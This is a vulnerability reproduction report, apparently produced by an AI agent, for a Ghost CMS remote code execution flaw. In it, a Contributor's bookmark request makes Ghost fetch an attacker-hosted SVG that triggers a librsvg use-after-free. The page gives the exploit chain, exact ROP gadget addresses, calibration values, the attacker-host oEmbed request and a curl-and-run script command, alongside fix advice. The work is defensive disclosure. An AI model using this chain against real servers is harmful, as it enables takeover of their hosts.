CVE-2026-105642: Verified Reproduction
CVE-2026-105642: Ghost CMS RCE via Bookmark Card Images SVG handling in bundled image processing library
CVE-2026-105642 is verified against TryGhost/Ghost · github. Affected versions: >= 6.56.0, < 6.67.0 (advisory range header); advisory body text states v6.56.0 up to v6.65.0. Fixed in 6.67.0 (official fix per advisory). Dependency analysis indicates the actual fix most likely landed in 6.66.0 via a sharp/libvips bump: 6.56.0-6.65.0 pin sharp 0.35.3 + image-size 1.2.1; 6.66.0 bumps to sharp 0.35.5 (bundles libvips 8.18.7 with updated librsvg and libheif) and image-size 2.0.4. The v6.66.0...v6.67.0 diff contains no commits touching image/SVG code. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00380.
What Is CVE-2026-105642?
CVE-2026-105642 is a high-severity RCE vulnerability affecting TryGhost/Ghost >= 6.56.0, < 6.67.0 (advisory range header); advisory body text states v6.56.0 up to v6.65.0. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00380).
CVE-2026-105642 Severity
CVE-2026-105642 is rated high severity.
High — serious impact or readily exploitable. Prioritize remediation.
Affected TryGhost/Ghost Versions
TryGhost/Ghost · github versions >= 6.56.0, < 6.67.0 (advisory range header); advisory body text states v6.56.0 up to v6.65.0 are affected.
How to Reproduce CVE-2026-105642
pruva-verify REPRO-2026-00380 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00380/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-105642
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
A genuine Contributor selects an attacker-controlled bookmark URL whose og:image is a 24,410-byte calibrated nested-XInclude VectorFreed SVG fetched and rasterized by Ghost
- Contributor session
- GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark
- Ghost fetches / and /evil.svg
- sharp 0.35.3/libvips 8.18.3/librsvg 2.62.90 UAF
- non-PIE Node 22 ROP
- execve(/bin/sh -c attacker command)
- unique target-local marker
How the agent worked
Root Cause and Exploit Chain for CVE-2026-105642
Ghost >= 6.56.0 and < 6.67.0 bundles a vulnerable native image-processing stack: sharp 0.35.3 uses libvips 8.18.3 with librsvg 2.62.90 and libxml2 2.15.3. A genuine low-privilege Contributor can call Ghost's admin oEmbed bookmark endpoint with an attacker-controlled URL. Ghost fetches the page, follows its og:image to an attacker-hosted SVG, and rasterizes that SVG inside the main Node.js process. The crafted SVG causes librsvg's nested-XInclude duplicate-entity use-after-free (CVE-2026-96889): the recursive parse replaces and frees an xmlEntity object still in use by the outer libxml2 parse. A calibrated SVG path then reoccupies and corrupts the stale parser state, pivots through fixed addresses in Ghost's non-PIE Node 22.23.3 executable, and invokes execve("/bin/sh", ["/bin/sh", "-c", command], NULL). This run reproduced the complete Contributor-to-command-execution chain twice through the real Ghost endpoint under the default allocator.
- Affected product: TryGhost/Ghost, through bundled sharp → libvips → librsvg → libxml2 native SVG processing.
- Affected versions: Ghost >= 6.56.0 and < 6.67.0 according to the Ghost advisory. This run confirms Ghost 6.65.0 is vulnerable and Ghost 6.67.0 is fixed.
- Vulnerable runtime closure: official
ghost:6.65.0image digestsha256:90592b712b6b6502c3169cf12bcb6e5f7b8c8315968b8bb53e08e879892641fa; Node 22.23.3, sharp 0.35.3, libvips 8.18.3, librsvg 2.62.90, libxml2 2.15.3. - Fixed runtime closure: official
ghost:6.67.0image digestsha256:9482099b1c8700764dc3d38c293e09c16d70f8bacc14af589c47d90b4bebd017; sharp 0.35.5, libvips 8.18.7, librsvg 2.63.2, libxml2 2.15.4. - Risk: high/critical attacker impact within the Ghost process. Any authenticated staff user, including a Contributor, can execute arbitrary shell commands with the Ghost server process's privileges. This permits reading application secrets and content, modifying data accessible to the process, establishing callbacks, and stopping or replacing the service.
- Configuration note:
NODE_ENV=developmentis used only so Ghost's private-IP SSRF guard permits the required local attacker host. A public attacker host in production reaches the same oEmbed → image-transform → sharp path. The exploit itself uses the normal/default glibc allocator; noGLIBC_TUNABLES,MALLOC_PERTURB_, sanitizer, debugger, or allocator tripwire is present.
Impact Parity
- Disclosed/claimed maximum impact: arbitrary command execution on the Ghost server via an attacker-controlled bookmark-card image, initiated by a Contributor.
- Reproduced impact: two fresh vulnerable Ghost 6.65.0 processes each received a real authenticated Contributor request to
GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark. Ghost fetched/and/evil.svgfrom the attacker server. The 24,410-byte SVG executed a unique attacker-selected shell command in the Ghost process and wrote a unique target-local file under/tmp. Both marker files were copied out and their bytes match the unique command arguments. The successfulexecvereplaced Node, so each vulnerable container exited cleanly with code 0 and the HTTP connection closed. Two fresh Ghost 6.67.0 controls reached the same endpoint and fetched the identical payload, returned HTTP 200, stayed running, and produced no marker. - Parity: full.
- Not demonstrated: no reverse shell was needed because target-local command markers are direct, deterministic evidence of arbitrary command execution. The proof deliberately uses a harmless
echocommand.
Root Cause
librsvg's XML loading layer keeps an XmlState entity map shared across recursive parses used for XInclude processing. The outer SVG defines an entity whose replacement text starts another SVG parse via xi:include. While libxml2 is expanding that outer entity and retaining its xmlEntity *, the included document declares an entity with the same name. Vulnerable librsvg inserts the new declaration into the shared map, replaces the existing map entry, and drops/frees the original approximately 144-byte libxml2 entity object. Control returns to the outer libxml2 parse, which continues reading and writing the freed object.
The command-execution payload extends this UAF with a crafted SVG path. A measured amount of text and a specific sequence of path commands reoccupy the stale state with attacker-controlled coordinates. Those IEEE-754 coordinate bit patterns encode a stack-pivot and ROP chain. Ghost's official Node 22.23.3 executable is non-PIE (ELF EXEC, build ID a9b42ba41811e1291145304b7c278c5d3fbaca71), so its gadget and execve@plt addresses are stable despite system ASLR. The Ghost-specific chain uses:
PIVOT_LOAD = 0x1f35396(mov rax, [rdx]; ret)PIVOT_STACK = 0x228f8b8(lea rsp, [rax+0x30]; ret)POP_RDI = 0x1201233,POP_RAX = 0xe81d9b,POP_RSI = 0xf9522e,POP_RDX = 0xe386e2STOSQ_RET = 0x12ec8e5, writable scratch at0x6b5f500, andexecve@plt = 0xe38e30- Ghost/librsvg 2.62.90 layout calibration
BASELINE_PADDING = 22264, with target path length 1270
The ROP chain writes /bin/sh, -c, the attacker command, and argv into Node's writable data area, then calls execve. The successful process exit code 0 is consistent with Node being replaced by /bin/sh -c 'echo ...' and the shell finishing successfully.
The upstream librsvg fix rejects the duplicate recursive entity condition rather than replacing and freeing the active entity. Ghost 6.67.0 includes the corrected dependency stack. Relevant references:
- Ghost advisory: https://github.com/TryGhost/Ghost/security/advisories/GHSA-788w-68h3-cvxp
- librsvg advisory: https://rustsec.org/advisories/RUSTSEC-2026-0305.html
- librsvg work item/fix context: https://gitlab.gnome.org/GNOME/librsvg/-/work_items/1241
- VectorFreed research: https://github.com/rafabd1/VectorFreed
- Public full-chain foundation independently ported to Ghost Node 22: https://github.com/EQSTLab/CVE-2026-94545
Reproduction Steps
Run
bundle/repro/reproduction_steps.shfrom any directory. Docker, curl, jq, and Python 3 are required on the host. The script uses only immutable image digests.The script:
- verifies/pulls exact Ghost 6.65.0 and 6.67.0 images and records the bundled dependency versions;
- generates the Ghost Node 22/librsvg 2.62.90 calibrated RCE SVG at runtime;
- starts a local attacker-controlled HTTP host serving a bookmark HTML page and
evil.svg; - starts a local SMTP sink, performs real Ghost first-run setup as Owner, invites the Contributor role through
POST /ghost/api/admin/invites/, follows the captured invitation token throughPOST /ghost/api/admin/authentication/invitation/, and logs in as the Contributor; - calls
/ghost/api/admin/users/me/?include=roleswith the exact exploit cookie and requiresroles[].name == "Contributor"; - sends the real authenticated oEmbed bookmark request;
- runs two isolated vulnerable attempts and two isolated fixed attempts under the default allocator;
- validates unique target-local vulnerable markers, their exact bytes, fixed absence, fixed service health, and attacker-server fetches;
- writes strict
bundle/repro/runtime_manifest.jsononly after evidence files are immutable.
Expected terminal lines:
RESULT vuln 1 marker=true status=exited exit=0 http=000 RESULT vuln 2 marker=true status=exited exit=0 http=000 RESULT fixed 1 marker=false status=running exit=0 http=200 RESULT fixed 2 marker=false status=running exit=0 http=200 === CONFIRMED: Ghost 6.65.0 Contributor-to-command-execution RCE; fixed 6.67.0 negative control ===
The script was executed successfully twice consecutively from clean per-run evidence directories.
Evidence
bundle/logs/reproduction_steps.log— complete final run transcript and all fourRESULTlines.bundle/logs/attacker-rce.log— four independent Ghost-side rounds, each showingGET /followed byGET /evil.svg; this proves the remote product fetch boundary for vulnerable and fixed attempts.bundle/repro/artifacts/rce/contributor-identity-{vuln,fixed}-{1,2}.json— response from the authenticatedusers/meendpoint proving the exact exploit session is assigned only the Contributor role. Example:"roles":[{"name":"Contributor"...}].bundle/repro/artifacts/rce/oembed-request-{vuln,fixed}-{1,2}.txt— exact endpoint shape and authenticated-role description.bundle/repro/artifacts/rce/marker-vuln-1.txtandmarker-vuln-2.txt— unique target-local command outputs. Their trimmed bytes equal the unique markers in the matching state and observation records.bundle/repro/artifacts/rce/state-vuln-{1,2}.txt—allocator=default,contributor_identity_verified=true,marker_present=true, andcontainer_status=exited exit_code=0.bundle/repro/artifacts/rce/state-fixed-{1,2}.txt—marker_present=false,container_status=running,exit_code=0, and oEmbed HTTP 200.bundle/repro/artifacts/rce/observation-vuln-{1,2}.json— strict command-capability observations with target path reached and marker present.bundle/repro/artifacts/rce/observation-fixed-{1,2}.json— negative controls with target path reached and marker absent.bundle/repro/artifacts/rce/oembed-response-fixed-{1,2}.txt— normal HTTP 200 bookmark responses from the fixed service.bundle/repro/artifacts/rce/versions.txt— exact Node/sharp/libvips/librsvg/libxml2 versions.bundle/repro/runtime_manifest.json— immutable image identity, endpoint details, runtime stack, proof-artifact list, and SHA-256 mapping.
Current-run exploit knowledge was also recorded as control-flow primitive cbfb8977-bd36-46ee-aeea-b8de835e5e97 and derived command-execution capability 639cc612-c512-44d5-b35b-637daa6ae42f.
Recommendations / Next Steps
- Upgrade Ghost to 6.67.0 or later. Ensure the effective bundled stack contains sharp >= 0.35.5 and librsvg >= 2.63.2 (or a documented security backport).
- If immediate upgrade is impossible, prevent untrusted SVGs from entering bookmark-image rasterization: reject
image/svg+xml, disable SVG rasterization for bookmark metadata, or isolate image conversion in a strongly sandboxed process without application secrets. - Restrict the oEmbed/bookmark endpoint to trusted roles as defense in depth. Contributor access is enough in the vulnerable release.
- Restrict outbound network access from Ghost. This does not remove parser corruption but limits remote payload delivery and callbacks.
- Add regression coverage that a nested XInclude document redeclaring an active entity is rejected, does not crash, and does not invoke image conversion side effects.
- Test with the real product endpoint and low-privilege role, not only a direct sharp harness. Keep a fixed-version negative control and verify the service remains healthy.
Additional Notes
- Idempotency: the script removes and recreates all named containers, its Docker network, runtime work directory, and proof-artifact directory. It was run twice consecutively with the same four-way vulnerable/fixed result.
- Default allocator: unlike the earlier crash-only reproduction, this complete RCE proof sets no allocator tunables or perturbation variables.
- No sanitizer/instrumentation: command execution occurs in uninstrumented official Ghost images. No sanitizer or debugger is used by the final proof.
- Local attacker host: Ghost's production SSRF policy rejects private addresses, so the reproducible no-egress lab sets
NODE_ENV=developmentsolely to allow the local attacker host. A public attacker host does not need this accommodation; the image parsing and exploit code path are unchanged. - Build specificity: the ROP gadget addresses and 22,264-byte layout calibration are specific to the official Ghost 6.65.0 x86-64 image closure. This specificity is normal for a native memory-corruption exploit and is why the script pins the immutable image digest.
- Process exit behavior: successful
execvereplaces Node with/bin/sh. The HTTP response is empty/closed and the container exits 0 after the harmless shell command completes; the unique marker is the success oracle, not a crash code.
CVE-2026-105642 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls /pruva/project-cache/ 2>/dev/null; echo ---; ls /pruva/project-cache/.pruva/ 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null; echo ---; docker ps 2>&1 | head -5; echo ---; node --version 2>&1; python3 --version; git --versionrepo-mirrors
---
cache_manifest.json
{
"schema_version": 1,
"entries": [
{
"path": "repo-mirrors",ls /pruva/project-cache/repo-mirrors/ 2>/dev/null; echo ---; docker images 2>/dev/null | head -20; echo ---; docker info 2>&1 | grep -iE 'server version|storage|error' | head -5--- IMAGE ID DISK USAGE CONTENT SIZE EXTRA pruva/rootless-readiness:docker-27 467ea3db0017 1.47MB 0B --- Server Version: 27.5.1 Storage Driver: overlay2
Artifacts and Evidence for CVE-2026-105642
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-105642
Upgrade TryGhost/Ghost · github to 6.67.0 (official fix per advisory). Dependency analysis indicates the actual fix most likely landed in 6.66.0 via a sharp/libvips bump: 6.56.0-6.65.0 pin sharp 0.35.3 + image-size 1.2.1; 6.66.0 bumps to sharp 0.35.5 (bundles libvips 8.18.7 with updated librsvg and libheif) and image-size 2.0.4. The v6.66.0...v6.67.0 diff contains no commits touching image/SVG code. or later.
FAQ: CVE-2026-105642
Is CVE-2026-105642 exploitable?
How severe is CVE-2026-105642?
What type of vulnerability is CVE-2026-105642?
Which versions of TryGhost/Ghost are affected by CVE-2026-105642?
Is there a fix for CVE-2026-105642?
How can I reproduce CVE-2026-105642?
Is the CVE-2026-105642 reproduction verified?
References for CVE-2026-105642
Authoritative sources for CVE-2026-105642 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.